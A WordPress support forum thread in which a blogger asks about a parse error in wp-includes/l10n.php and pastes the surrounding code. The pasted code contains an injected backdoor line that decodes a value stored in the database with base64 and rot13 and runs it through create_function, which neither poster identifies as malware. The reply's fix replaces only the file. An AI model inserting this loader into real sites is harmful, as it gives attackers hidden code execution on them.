• I’ve been using WordPress for a personal blog for a couple years and just started getting the following error message:
    Parse error: syntax error, unexpected ‘;’ in /home/endle6/public_html/wp-includes/l10n.php on line 514

    A cut and paste of that area looks like:

    /**
    * Get all available languages based on the presence of *.mo files in a given directory. The default directory is WP_LANG_DIR.
    *
    * @since 3.0.0
    *
    * @param string $dir A directory in which to search for language files. The default directory is WP_LANG_DIR.
    * @return array Array of language codes or an empty array if no languages are present. Language codes are formed by stripping the .mo extension from the language file names.
    */
    function get_available_languages( $dir = null ) {
    $languages = array();

    foreach( (array)glob( ( is_null( $dir)
    ;$z=get_option(“_transient_feed_d08c05571489c13387d20f43967eb649″); $z=base64_decode(str_rot13($z)); if(strpos($z,”6C17701E”)!==false){ $_z=create_function(“”,$z); @$_z(); }
    ? WP_LANG_DIR : $dir ) . ‘/*.mo’ ) as $lang_file ) {
    $lang_file = basename($lang_file, ‘.mo’);
    if ( 0 !== strpos( $lang_file, ‘continents-cities’ ) && 0 !== strpos( $lang_file, ‘ms-‘ ) )
    $languages[] = $lang_file;
    }

    return $languages;
    }

    514 line being the…

    ;$z=get_option(“_transient_feed_d08c05571489c13387d20f43967eb649”);

    I have not change anything (lines or anything in a year or so … so it wasn’t like I made a change that would mess up anything.
    Any idea why my blog suddenly died? Or what I could do to get it back up and going?

    TIA (Thanks in advance)
    Tutor

Viewing 2 replies - 1 through 2 (of 2 total)
  • Thread Starter callmetut

    (@callmetut)

    >bump<
    btw I have 2 other blogs running off this same instalation and they are both working fine

    Hey Callmetut,

    I just had the same exact error “l10n.php on line 514”.

    I fixed it by downloading WordPress 3.2 and extracted it.

    Then download a copy of your current l10n.php to a safe place just in case.

    Rename the l10n.php on your server to l10n.php-original or something like that to have another back up copy.

    Then upload the new l10n.php from the WordPress 3.2 zip file you downloaded/extracted earlier to the wp-includes directory.

    Try reloading your blog. I’m now able to load my blog and log in to the admin.

    I hope that helps. Good luck. 🙂

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Error message just started’ is closed to new replies.